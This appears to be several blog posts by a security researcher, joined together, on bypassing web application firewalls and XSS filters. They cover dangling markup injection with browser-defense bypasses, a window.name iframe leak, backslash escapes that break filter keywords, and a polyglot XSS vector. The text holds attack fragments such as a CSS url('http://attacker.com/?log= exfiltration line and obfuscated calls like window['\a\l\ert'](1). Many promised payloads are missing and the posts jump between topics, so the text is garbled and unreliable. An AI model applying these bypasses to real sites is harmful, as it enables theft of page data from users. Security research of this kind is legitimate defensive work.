By seeing the process of how I broke the rules of these WAFs, you'll gain the necessary skills to evaluate the security of the rules of any WAF/IDS.
In this post you'll find 4 types of bypasses for each WAF:
Detection phase (vectors to see if the page is vulnerable to sqli)
Boolean-based injections
Blind time-based injections for MySQL, PostgreSQL and MSSQL
Exploitation phase
UNION-based injections
Blind boolean-based injections
Sometimes there are cross-site scripting vectors as well.
At the very end of the post, there is a pseudo-universal SQL injection bypass that works against a great number of multiple WAFs.
If you're having trouble bypassing a firewall (or want to be updated on further posts), reach me out at X @ruben_v_pina or at ruben@nzt-48.org and I'll see if I can break it.
Restricting the use of parentheses is one of the toughest limitations I have come across, mainly due to the fact that sometimes all sorts of escapes and encodings are blocked.
Portswigger researcher Gareth Heyes (@garethheyes) even dedicated an entire chapter of his latest book "JavaScript for hackers" to illustrate different methods of running javascript that does not use parentheses. However, this post is not going to go over Gareth's techniques.
The easiest way to avoid parenthesis is by using grave accents:
alert``
However, these are also blocked very often.
Another thing you can do is to find a way to evaluate a string so that the parentheses can be escaped and/or encoded. Some functions that do this are:
However, the invocation of such functions needs parentheses as well.
The solution is to use javascript: protocol URLs, these can be assigned to window.location or document.location just like any other variable assignment.
The double-slash (//) after the javascript: protocol is a single-line comment that comments-out the whole URL until it reaches the new-line %0A after the #, the %0A gets decoded into a new-line breaking out of the single-line comment, then the payload follows and is executed. If the cross-site scripting is server-side the payload doesn't reach the server.
Some time ago, whenever script execution was being blocked by the Content-Security-Policy, an easy way to bypass it was to perform dangling markup injection attacks. Dangling markup injections are an alternative way of XSS to exfiltrate information from a web page.
Nowadays, modern web browsers have security defenses that attempt to block these kinds of attacks. Three bypasses for such defenses are exposed at the end of this post (functional in all major browsers) .
Dangling markup injection attacks are very simple. Imagine a web page that has an HTML injection vulnerability like the following example:
An HTML tag with an unclosed attribute is injected into the page. The unclosed attribute consumes the web page's content until it finds a matching closing quote. Such attribute can then leak the consumed data through a HTTP request:
In this example a <meta> tag was used to request a stylesheet from a foreign server which is logging incoming requests and waiting for the leaked data to arrive. But any HTML tag that performs an HTTP request will do, such as <img> or <iframe>. And really HTML is not the only option, CSS code could be used too in a scenario where style injection is feasible. CSS functionality such as background: url('http://attacker.com/?log= or @import could be used to force the browser to initiate an HTTP request.
Actually there's a github site named HTTPLeaks that lists all possible ways in which a browser can leak data through HTTP requests.
However things have changed through time and now most browsers implement defenses in an attempt to stop these types of attack; whenever an URL is rendered, the parser looks for certain dangerous patterns such as angle brackets < > and new lines (\n \r). If this combination of characters is found, then the request is blocked by the browser. It is possible to see the blocked request in the dev-tools network panel:
I tested different dangling injections in different browsers. Chrome, Chromium, Edge and Opera are indeed blocking the exfiltrating request. However for some reason Firefox (v. 124) is not implementing such defense.
Since the dangling injections only work in Firefox, my goal was to find a way to make them work in other browsers too. I found a commit diff in Chromium's source code that illustrates the defense mechanism. Then, after looking some more, I found a security vulnerability report from 2017 that exposes a bypass for the request blocker. I was very lucky because I tested the attack vector in the other browsers and it successfully leaked the data.
I also found 2 more bypasses that work in all major browsers as well:
Iframe bypass
As demonstrated in HTTPLeaks, there is a vast amount of HTML tags which have attributes that expect a URL as their value. Whenever URLs are rendered by the browser the blocking defense mechanism validates them.
Anyway, the window.name variable contains the name of the current window. It is possible to set the name of an iframe window through the HTML name attribute <iframe src='//nzt-48.org' name='iframe-one'/>. This attribute is not used to make an HTTP request using a URL, thus it won't be validated; if the attribute is left unclosed it will consume the page's content. window.name can be read from both inside the iframe and out of the iframe, so the consumed content gets leaked.
The page requested through the src URL is requesting a script owned by the attacker that reads the window.name property leaking the page's data: <script>alert(window.name)</script>
In Chrome and Opera, the CSP frame-src directive blocks the loading of web pages through the iframe, object and embed elements.
However, in Firefox web pages can still be loaded using object or embed even if the frame-src directive is declared.
Conclusion
Tag attributes that expect URLs should not be the only ones validated. Any other attribute that somehow might be read externally should also be checked.
In Black Hat 2009 I had the honor of personally meeting @sirdarckcat (Eduardo Vela, leader of Google Project Zero) who gave a presentation titled "Our favorite XSS filters and how to attack them". In his presentation he managed to bypass every single popular Web Application Firewall that was in the market at that time and he said it had been a piece of cake.
The conclusion of his talk was that all Web Application Firewalls (WAFs) were practically useless at that time due to the tremendous ease in which they could be bypassed.
Now, more than ten years later, I decided to evaluate the security of many popular WAFs to see their evolution and how robust they've become over time. The conclusion is that most of them are still extremely vulnerable. They are very easy to bypass so the degree of protection they offer is very low; I broke each WAF in around 5 minutes.
I decided to publish the bypasses because it is actually funny how bad these filters are.
Most of the time, XSS filters look for specific keywords to detect invocation of dangerous functions or variables. A very common bypass technique is to break these specific character sequences like this:
Several years ago I found a nice feature in javascript that allows the attacker to break character sequences in a very easy, quick, straight-forward way. It consists of escaping characters that do not have an escape sequence assigned. For instance, this are valid escapes in javascript:
Those characters will be escaped to their corresponding values if you add a backslash before them.
If you use a backslash before any other character javascript will simply ignore the backslashes, so the string will be broken while still preserving its meaning:
window['\a\l\ert'](1) window['\pr\o\m\pt'](1)
I hope this will help to do your hacking simpler and faster.
It is 103 bytes long and it works in one more context than Gareth's (his doesn't work in single line comment contexts (//), although I find his vector to be more elegant).
I decided to improve it so that it works in every possible context:
Besides for Blind XSS, this vector is also good for optimizing the process of finding regular cross-site scripting vulnerabilities. Instead of having to send 21 requests to each parameter when testing an application, you only have to make 1 request. This gets the job done in approximately only 5% of the time.
Can you make it even shorter? Let me know in the comments or through twitter (@ruben_v_pina)